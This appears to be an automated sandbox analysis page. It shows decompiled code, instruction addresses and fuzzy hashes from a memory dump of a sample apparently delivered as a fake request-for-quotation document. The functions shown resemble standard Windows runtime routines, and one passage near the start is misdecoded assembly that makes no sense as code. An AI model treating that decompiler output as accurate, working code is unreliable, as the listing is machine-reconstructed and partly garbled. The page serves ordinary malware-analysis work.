									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0xb06e58 & 0x0000ffff;
								__eax = ( *0xb06e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t334 = _t334 + 1;
								if(_t334 >= _v48) {
									goto L16;
								} else {
									_t323 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t307 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("movsb");
					 *((intOrPtr*)(_t341 + 0x28)) =  *((intOrPtr*)(_t341 + 0x28)) + _t254;
					asm("movsb");
					_t255 = _t254 + _t254;
					asm("daa");
					asm("movsb");
					 *_t341 =  *_t341 + _t307;
					asm("es movsb");
					 *((intOrPtr*)(_t341 + 0x28)) =  *((intOrPtr*)(_t341 + 0x28)) + _t255;
					asm("movsb");
					 *0x1f00a426 =  *0x1f00a426 + _t255;
					_pop(_t297);
					__eflags = _t255 & 0x00000000;
					_t256 = _t350;
					_t352 = _t255;
					 *((intOrPtr*)(_t256 + _t256 + 0xa85b35)) =  *((intOrPtr*)(_t256 + _t256 + 0xa85b35)) - _t256;
					asm("movsb");
					 *((intOrPtr*)(_t256 - 0x9ff5bd8)) =  *((intOrPtr*)(_t256 - 0x9ff5bd8)) + _t256;
					asm("daa");
					asm("movsb");
					 *_t341 =  *_t341 + _t297;
					 *((intOrPtr*)(_t256 + _t256 + 0xa4284e)) =  *((intOrPtr*)(_t256 + _t256 + 0xa4284e)) - _t256;
					asm("daa");
					asm("movsb");
					_pop(_t298);
					__eflags = _t256 + _t297 & 0x00000000;
					asm("movsb");
					 *((intOrPtr*)(_t352 + _t298 * 2)) =  *((intOrPtr*)(_t352 + _t298 * 2)) + _t323;
					__eflags = 0;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0xaeff00);
					E00A6D08C(_t298, _t336, _t341);
					_v44 =  *[fs:0x18];
					_t337 = 0;
					 *_a24 = 0;
					_t299 = _a12;
					__eflags = _t299;
					if(_t299 == 0) {
						_t261 = 0xc0000100;
					} else {
						_v8 = 0;
						_t344 = 0xc0000100;
						_v52 = 0xc0000100;
						_t263 = 4;
						while(1) {
							_v40 = _t263;
							__eflags = _t263;
							if(_t263 == 0) {
								break;
							}
							_t313 = _t263 * 0xc;
							_v48 = _t313;
							__eflags = _t299 -  *((intOrPtr*)(_t313 + 0x9f1664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t278 = E00A5E5C0(_a8,  *((intOrPtr*)(_t313 + 0x9f1668)), _t299);
									_t352 = _t352 + 0xc;
									__eflags = _t278;
									if(__eflags == 0) {
										_t344 = E00A951BE(_t299,  *((intOrPtr*)(_v48 + 0x9f166c)), _a16, _t337, _t344, __eflags, _a20, _a24);
										_v52 = _t344;
										break;
									} else {
										_t263 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t263 = _t263 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t344;
						__eflags = _t344;
						if(_t344 < 0) {
							__eflags = _t344 - 0xc0000100;
							if(_t344 == 0xc0000100) {
								_t309 = _a4;
								__eflags = _t309;
								if(_t309 != 0) {
									_v36 = _t309;
									__eflags =  *_t309 - _t337;
									if( *_t309 == _t337) {
										_t344 = 0xc0000100;
										goto L76;
									} else {
										_t325 =  *((intOrPtr*)(_v44 + 0x30));
										_t265 =  *((intOrPtr*)(_t325 + 0x10));
										__eflags =  *((intOrPtr*)(_t265 + 0x48)) - _t309;
										if( *((intOrPtr*)(_t265 + 0x48)) == _t309) {
											__eflags =  *(_t325 + 0x1c);
											if( *(_t325 + 0x1c) == 0) {
												L106:
												_t344 = E00A42AE4( &_v36, _a8, _t299, _a16, _a20, _a24);
												_v32 = _t344;
												__eflags = _t344 - 0xc0000100;
												if(_t344 != 0xc0000100) {
													goto L69;
												} else {
													_t337 = 1;
													_t309 = _v36;
													goto L75;
												}
											} else {
												_t268 = L00A26600( *(_t325 + 0x1c));
												__eflags = _t268;
												if(_t268 != 0) {
													goto L106;
												} else {
													_t309 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t344 = E00A42C50(_t309, _a8, _t299, _a16, _a20, _a24, _t337);
											L76:
											_v32 = _t344;
											goto L69;
										}
									}
									goto L108;
								} else {
									L00A2EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t344 = _a24;
									_t275 = E00A42AE4( &_v36, _a8, _t299, _a16, _a20, _t344);
									_v32 = _t275;
									__eflags = _t275 - 0xc0000100;
									if(_t275 == 0xc0000100) {
										_v32 = E00A42C50(_v36, _a8, _t299, _a16, _a20, _t344, 1);
									}
									_v8 = _t337;
									E00A42ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t261 = _t344;
					}
					L70:
					return E00A6D0D1(_t261);
				}
				L108:
			}

0x00a42584
0x00a42586
0x00a42590
0x00a42596
0x00a42597
0x00a42598
0x00a42599
0x00a4259e
0x00a425a4
0x00a425a9
0x00a425ac
0x00a425ae
0x00a425b1
0x00a425b2
0x00a425b5
0x00a425b8
0x00a425bb
0x00a425bc
0x00a425bf
0x00a425c2
0x00a425c5
0x00a425c6
0x00a425cb
0x00a425ce
0x00a425d8
0x00a425dd
0x00a425de
0x00a425e1
0x00a425e3
0x00a425e9
0x00a426da
0x00a426da
0x00a426dd
0x00a426e2
0x00a85b56
0x00000000
0x00a426e8
0x00a426f9
0x00a426fb
0x00a426fe
0x00a42700
0x00a85b60
0x00000000
0x00a42706
0x00a42706
0x00a4270a
0x00a4270a
0x00a4270d
0x00a42713
0x00a42716
0x00a42718
0x00a4271c
0x00a4271e
0x00a85b6c
0x00a85b6f
0x00a85b7f
0x00a85b89
0x00a85b8e
0x00a85b93
0x00a85b96
0x00a85b9c
0x00a85ba0
0x00a85ba3
0x00a85bab
0x00a85bb0
0x00a85bb3
0x00a85bb3
0x00a85ba3
0x00a42724
0x00a42726
0x00a42729
0x00a4272c
0x00a4279d
0x00a4279d
0x00a427a0
0x00a427a2
0x00000000
0x00a4272e
0x00a4272e
0x00a42731
0x00a42734
0x00a42734
0x00a42736
0x00a85bc1
0x00a85bc1
0x00a85bc4
0x00000000
0x00a85bca
0x00a85bca
0x00a85bcd
0x00000000
0x00a85bd3
0x00000000
0x00a85bd3
0x00a85bcd
0x00a4273c
0x00a4273c
0x00a42742
0x00a42747
0x00a4274a
0x00a4274d
0x00a42750
0x00000000
0x00a42756
0x00a42756
0x00000000
0x00a42902
0x00a42908
0x00a4290b
0x00000000
0x00a42911
0x00a4291c
0x00a42921
0x00000000
0x00a42921
0x00000000
0x00000000
0x00a42880
0x00a42887
0x00a4288c
0x00000000
0x00000000
0x00a42805
0x00a4280a
0x00a42814
0x00a42816
0x00000000
0x00000000
0x00a4281e
0x00a42821
0x00a42823
0x00000000
0x00a42829
0x00a42829
0x00a42831
0x00a4283c
0x00a4283e
0x00000000
0x00a4283e
0x00000000
0x00000000
0x00a4284e
0x00a42850
0x00a42851
0x00a42854
0x00a42857
0x00a4285a
0x00a4285c
0x00a4285d
0x00000000
0x00000000
0x00a4275d
0x00a42761
0x00000000
0x00a42767
0x00a4276e
0x00a42773
0x00a42773
0x00a42776
0x00a42778
0x00a4277e
0x00a4277e
0x00a42781
0x00a42781
0x00a42783
0x00a42784
0x00000000
0x00000000
0x00a85bd8
0x00a85bde
0x00a85be4
0x00a85be6
0x00a85be8
0x00a85be9
0x00a85bee
0x00a85bf8
0x00a85bff
0x00a85c01
0x00a85c04
0x00a85c07
0x00a85c0b
0x00a85c0d
0x00a85c0d
0x00a85c15
0x00a85c18
0x00a85c1b
0x00a85c1b
0x00a85c1e
0x00000000
0x00000000
0x00a428c3
0x00a428c8
0x00a428d2
0x00a428d4
0x00a428d8
0x00a428db
0x00a85c26
0x00a85c28
0x00a85c2d
0x00a85c2d
0x00000000
0x00000000
0x00a85c34
0x00a85c36
0x00a85c49
0x00a85c4e
0x00a85c54
0x00a85c5b
0x00a85c5d
0x00a85c60
0x00a42788
0x00a42788
0x00a4278b
0x00a4278e
0x00a4278e
0x00a4278e
0x00a42791
0x00000000
0x00000000
0x00a42756
0x00a42750
0x00000000
0x00a42794
0x00a42794
0x00a42795
0x00a42798
0x00a42798
0x00000000
0x00a42734
0x00a4272c
0x00a42700
0x00a425ef
0x00a425ef
0x00a425ef
0x00a425f2
0x00a425f8
0x00000000
0x00000000
0x00a425fe
0x00000000
0x00a428e6
0x00a428ec
0x00a428ef
0x00a428f5
0x00a428f8
0x00a428f8
0x00000000
0x00a428f8
0x00000000
0x00000000
0x00a42866
0x00a42866
0x00a42876
0x00a42879
0x00000000
0x00000000
0x00a427e0
0x00a427e7
0x00a427e9
0x00a427eb
0x00a85afd
0x00000000
0x00a85afd
0x00000000
0x00000000
0x00a42633
0x00a42638
0x00a4263b
0x00a4263c
0x00a4263e
0x00a42640
0x00a42642
0x00a42647
0x00a42649
0x00a4264e
0x00a42650
0x00a42653
0x00a42659
0x00a426a2
0x00a426a7
0x00a426ac
0x00a426b2
0x00a85b11
0x00a85b15
0x00a85b17
0x00000000
0x00a426b8
0x00a426b8
0x00a426ba
0x00a427a6
0x00a427a6
0x00a427a9
0x00a427ab
0x00a427b9
0x00a427b9
0x00a427be
0x00a427c1
0x00a427c3
0x00a427c5
0x00a427c7
0x00a85c74
0x00a85c79
0x00a85c79
0x00a427c7
0x00000000
0x00a426c0
0x00a426c0
0x00a426c3
0x00a426c6
0x00a426c6
0x00a426c9
0x00a426c9
0x00000000
0x00a426c9
0x00a426ba
0x00a4265b
0x00a4265b
0x00a4265e
0x00a42667
0x00a4266d
0x00a42677
0x00a4267c
0x00a4267f
0x00a42681
0x00a85b49
0x00a85b4e
0x00a427cd
0x00a427d0
0x00a427d1
0x00a427d2
0x00a427d4
0x00a427dd
0x00a42687
0x00a42687
0x00a4268a
0x00a4268b
0x00a4268e
0x00a4268f
0x00a42691
0x00a42696
0x00a42698
0x00a4269d
0x00a4269f
0x00000000
0x00a4269f
0x00a42681
0x00000000
0x00000000
0x00a42846
0x00000000
0x00000000
0x00a42605
0x00a4260a
0x00a4260c
0x00a42611
0x00a42616
0x00a42619
0x00a42619
0x00a4261e
0x00000000
0x00a42624
0x00a42627
0x00a42627
0x00000000
0x00000000
0x00a85b1f
0x00000000
0x00000000
0x00a42894
0x00a4289b
0x00a4289d
0x00a428a1
0x00a85b2b
0x00a85b2e
0x00a85b2e
0x00a428a7
0x00a428a9
0x00a85b04
0x00a85b09
0x00a85b09
0x00a85b09
0x00000000
0x00000000
0x00a85b35
0x00a85b3c
0x00a428fb
0x00a428fb
0x00a426cc
0x00a426cc
0x00a426d0
0x00000000
0x00a426d2
0x00a426d2
0x00000000
0x00a426d2
0x00000000
0x00000000
0x00a425fe
0x00a4292d
0x00a4292f
0x00a42930
0x00a42935
0x00a42937
0x00a42938
0x00a4293b
0x00a4293c
0x00a4293e
0x00a4293f
0x00a42940
0x00a42942
0x00a42944
0x00a42947
0x00a42948
0x00a4294e
0x00a4294f
0x00a42951
0x00a42951
0x00a42952
0x00a4295b
0x00a4295c
0x00a42962
0x00a42963
0x00a42964
0x00a42966
0x00a4296e
0x00a4296f
0x00a42972
0x00a42973
0x00a42977
0x00a42978
0x00a4297b
0x00a4297d
0x00a4297e
0x00a4297f
0x00a42980
0x00a42981
0x00a42982
0x00a42983
0x00a42984
0x00a42985
0x00a42986
0x00a42987
0x00a42988
0x00a42989
0x00a4298a
0x00a4298b
0x00a4298c
0x00a4298d
0x00a4298e
0x00a4298f
0x00a42990
0x00a42992
0x00a42997
0x00a429a3
0x00a429a6
0x00a429ab
0x00a429ad
0x00a429b0
0x00a429b2
0x00a85c80
0x00a429b8
0x00a429b8
0x00a429bb
0x00a429c0
0x00a429c5
0x00a429c6
0x00a429c6
0x00a429c9
0x00a429cb
0x00000000
0x00000000
0x00a429cd
0x00a429d0
0x00a429d9
0x00a429db
0x00a429dd
0x00a42a7f
0x00a42a84
0x00a42a87
0x00a42a89
0x00a85ca1
0x00a85ca3
0x00000000
0x00a42a8f
0x00a42a8f
0x00000000
0x00a42a8f
0x00000000
0x00a429e3
0x00a429e3
0x00a429e3
0x00000000
0x00a429e3
0x00a429dd
0x00000000
0x00a429db
0x00a429e6
0x00a429e9
0x00a429eb
0x00a429ed
0x00a429f3
0x00a429f5
0x00a429f8
0x00a429fa
0x00a42a97
0x00a42a9a
0x00a42a9d
0x00a42add
0x00000000
0x00a42a9f
0x00a42aa2
0x00a42aa5
0x00a42aa8
0x00a42aab
0x00a85cab
0x00a85caf
0x00a85cc5
0x00a85cda
0x00a85cdc
0x00a85cdf
0x00a85ce5
0x00000000
0x00a85ceb
0x00a85ced
0x00a85cee
0x00000000
0x00a85cee
0x00a85cb1
0x00a85cb4
0x00a85cb9
0x00a85cbb
0x00000000
0x00a85cbd
0x00a85cbd
0x00000000
0x00a85cbd
0x00a85cbb
0x00a42ab1
0x00a42ab1
0x00a42ac4
0x00a42ac6
0x00a42ac6
0x00000000
0x00a42ac6
0x00a42aab
0x00000000
0x00a42a00
0x00a42a09
0x00a42a0e
0x00a42a21
0x00a42a24
0x00a42a35
0x00a42a3a
0x00a42a3d
0x00a42a42
0x00a42a59
0x00a42a59
0x00a42a5c
0x00a42a5f
0x00a42a5f
0x00a429fa
0x00a429f3
0x00a42a64
0x00a42a64
0x00a42a6b
0x00a42a6b
0x00a42a6d
0x00a42a72
0x00a42a72
0x00000000

Strings

PATH, xrefs: 00A42642, 00A42691

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: b3f8a52059a20d41613db8717f52113393a8982a672c32b121d8a161a245c426
Instruction ID: c3ca243037910305715da01b9d1ebbc582099b59f8b9f47847751d75f547b98c
Opcode Fuzzy Hash: b3f8a52059a20d41613db8717f52113393a8982a672c32b121d8a161a245c426
Instruction Fuzzy Hash: BBC19179E00619EFCB24DFA9D981BADB7B1FF88710F954029F901AB250DB34AD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00A4FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					L00A2EEF0(0xb07b60);
					_t134 =  *0xb07b84; // 0x776f7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0xb07b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0xb07b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E00A26D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E00A276E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E00AB8938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E00A1B150();
													}
													_t116 = E00AB6D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E00A275CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0xb08638; // 0x0
																	_t122 = L00A238A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E00A276E2(_t154);
																			goto L41;
																		}
																	} else {
																		E00A276E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L00A4FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L00A270F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E00A4FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E00A4FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E00A4FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E00A4FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E00A4FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0xb07b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0xb07b84 = _t75;
						_t73 = E00A2EB70(_t134, 0xb07b60);
						if( *0xb07b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = L00A2FF60( *0xb07b20);
							}
						}
						goto L5;
					}
				}
			}

0x00a4fab0
0x00a4fab2
0x00a4fab3
0x00a4fab4
0x00a4fabc
0x00a4fac0
0x00a4fb14
0x00a4fb17
0x00a4fac2
0x00a4fac8
0x00a4facd
0x00a4fad3
0x00a4fad3
0x00a4fadd
0x00a4fb18
0x00a4fb1b
0x00a4fb1d
0x00a4fb1e
0x00a4fb1f
0x00a4fb20
0x00a4fb21
0x00a4fb22
0x00a4fb23
0x00a4fb24
0x00a4fb25
0x00a4fb26
0x00a4fb27
0x00a4fb28
0x00a4fb29
0x00a4fb2a
0x00a4fb2b
0x00a4fb2c
0x00a4fb2d
0x00a4fb2e
0x00a4fb2f
0x00a4fb3a
0x00a4fb3b
0x00a4fb3e
0x00a4fb41
0x00a4fb44
0x00a4fb47
0x00a4fb4a
0x00a4fb4d
0x00a4fb53
0x00a8bdcb
0x00a8bdcb
0x00a4fb59
0x00a4fb5b
0x00a4fb5b
0x00a4fb5e
0x00a8bdd5
0x00a8bdd8
0x00000000
0x00a8bdda
0x00000000
0x00a8bdda
0x00a4fb64
0x00a4fb64
0x00a4fb64
0x00a4fb67
0x00a4fb6e
0x00a4fb70
0x00a4fb72
0x00000000
0x00a4fb78
0x00a4fb7a
0x00a4fb7a
0x00a4fb7d
0x00a4fb80
0x00a8bddf
0x00a8bde1
0x00000000
0x00a8bde3
0x00000000
0x00a8bde3
0x00a4fb86
0x00a4fb86
0x00a4fb86
0x00a4fb8b
0x00a4fb90
0x00a4fb92
0x00a4fb94
0x00a4fb9a
0x00a4fb9b
0x00a4fba1
0x00a8bde8
0x00a8bdeb
0x00a8bded
0x00a8beb5
0x00a8beb5
0x00a8bebb
0x00a8bebd
0x00a8bec3
0x00a8bed2
0x00a8bedd
0x00a8bedd
0x00a8beed
0x00000000
0x00a8bdf3
0x00a8bdfe
0x00a8be06
0x00a8be0b
0x00a8be0d
0x00a8be0f
0x00a8be14
0x00a8be19
0x00a8be20
0x00a8be25
0x00a8be27
0x00a8be35
0x00a8be39
0x00a8be46
0x00a8be4f
0x00a8be54
0x00a8be56
0x00a8bef8
0x00a8bef8
0x00000000
0x00a8be5c
0x00a8be5c
0x00a8be60
0x00000000
0x00a8be66
0x00a8be66
0x00a8be7f
0x00a8be84
0x00a8be87
0x00a8be89
0x00a8be8b
0x00a8be99
0x00a8be9d
0x00a8bea0
0x00a8beac
0x00a8beaf
0x00a8beb1
0x00a8beb3
0x00a8beb3
0x00000000
0x00a8bea2
0x00a8bea2
0x00000000
0x00a8bea2
0x00a8be8d
0x00a8be8d
0x00a8be92
0x00000000
0x00a8be92
0x00a8be8b
0x00a8be60
0x00a8be3b
0x00a8be3b
0x00a8be3e
0x00000000
0x00a8be40
0x00a8be40
0x00a8be44
0x00000000
0x00000000
0x00000000
0x00000000
0x00a8be44
0x00a8be3e
0x00a8be29
0x00a8be29
0x00000000
0x00a8be29
0x00a8be27
0x00000000
0x00a4fba7
0x00a4fba7
0x00a4fbab
0x00a8bf02
0x00a4fbb1
0x00a4fbb1
0x00a4fbb8
0x00a4fbbd
0x00a4fbbd
0x00a4fbbf
0x00a4fbbf
0x00a4fbc5
0x00a4fbcb
0x00a4fbf8
0x00a4fbf8
0x00a4fbfa
0x00000000
0x00a4fc00
0x00a4fc00
0x00a4fc03
0x00000000
0x00a4fc09
0x00a4fc09
0x00a4fc0f
0x00a4fc15
0x00a4fc23
0x00a4fc23
0x00a4fc25
0x00a4fc27
0x00a4fc75
0x00a4fc7c
0x00a4fc84
0x00000000
0x00a4fc29
0x00a4fc29
0x00a4fc2d
0x00a4fc30
0x00a8bf0f
0x00000000
0x00a4fc36
0x00a4fc38
0x00a4fc3b
0x00a4fc41
0x00a8bf17
0x00a8bf19
0x00a8bf48
0x00a8bf4b
0x00000000
0x00a8bf1b
0x00a8bf22
0x00a8bf24
0x00a8bf26
0x00000000
0x00a8bf2c
0x00a8bf37
0x00a8bf39
0x00a8bf3b
0x00000000
0x00a8bf41
0x00a8bf41
0x00a8bf41
0x00a8bf41
0x00a8bf45
0x00000000
0x00a8bf45
0x00a8bf3b
0x00a8bf26
0x00000000
0x00a4fc47
0x00a4fc47
0x00a4fc49
0x00a4fcb2
0x00a4fcb4
0x00a4fcb6
0x00a4fcdc
0x00a4fcdc
0x00000000
0x00a4fcb8
0x00a4fcc3
0x00a4fcc5
0x00a4fcc7
0x00000000
0x00a4fcc9
0x00a4fcc9
0x00a4fccd
0x00000000
0x00a4fccd
0x00a4fcc7
0x00000000
0x00a4fc4b
0x00a4fc4b
0x00a4fc4e
0x00a4fc4e
0x00a4fc51
0x00a4fc51
0x00a4fc54
0x00a4fc5a
0x00a4fc5c
0x00a4fc5f
0x00a4fc61
0x00a4fc63
0x00a4fc65
0x00a4fc67
0x00a4fc6e
0x00a4fc72
0x00a4fc72
0x00a4fc72
0x00a4fc72
0x00a4fc67
0x00a4fc61
0x00000000
0x00a4fc5a
0x00a4fc49
0x00a4fc41
0x00a4fc30
0x00a4fc27
0x00a4fc03
0x00a4fbcd
0x00a4fbd3
0x00a4fbd9
0x00a4fbdc
0x00a4fbde
0x00a4fc99
0x00a4fc9b
0x00a4fc9d
0x00a4fcd5
0x00a4fcd5
0x00a4fc89
0x00a4fc89
0x00000000
0x00a4fc9f
0x00a4fc9f
0x00a4fca3
0x00000000
0x00a4fca3
0x00000000
0x00a4fbe4
0x00a4fbe4
0x00a4fbe4
0x00a4fbe4
0x00a4fbe9
0x00a4fbf2
0x00000000
0x00a4fbf2
0x00a4fbde
0x00a4fbcb
0x00a4fbab
0x00a4fc8b
0x00a4fc8b
0x00a4fc8c
0x00a4fb80
0x00a4fb72
0x00a4fb5e
0x00a4fc8d
0x00a4fc91
0x00a4fadf
0x00a4fadf
